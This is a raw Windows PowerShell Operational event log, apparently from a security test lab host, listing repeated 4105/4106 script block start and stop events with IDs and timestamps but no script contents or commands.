SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027599
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027593
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027569
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027567
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027566
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
